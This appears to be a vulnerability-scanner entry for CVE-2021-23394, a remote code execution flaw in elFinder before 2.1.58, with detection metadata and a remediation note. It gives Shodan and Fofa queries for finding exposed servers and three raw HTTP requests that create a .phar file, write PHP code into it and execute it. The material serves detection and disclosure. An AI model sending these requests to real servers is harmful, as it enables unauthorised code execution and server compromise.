| Title | elFinder < 2.1.58 - Remote Code Execution |
|---|---|
| Author | 0xanis |
| Severity | High |
| Impact | Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise. |
| Remediation | Update to version 2.1.58 or later. |
| CVSS Score | 8.1 |
| EPSS Score | 0.77529 |
| CVE ID | CVE-2021-23394 |
| CWE ID | CWE-434 |
| Shodan Query | http.title:"elfinder" |
| Fofa Query | title="elfinder" |
| Tags | cve cve2021 elfinder rce phar file-upload intrusive vkev |
studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP.
GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=JhxfOlcv.phar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Safari
Connection: close
Accept: application/json
Accept-Encoding: gzip
GET /elFinder/php/connector.minimal.php?cmd=put&target=NX38bV&content=<?='';+echo+md5('38FFy8pwGj3SiY8pPsNZJaFp1Om');+?> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Accept: application/json
Accept-Encoding: gzip
GET /elFinder/files/JhxfOlcv.phar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23394.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-23394.pcap
N/AN/A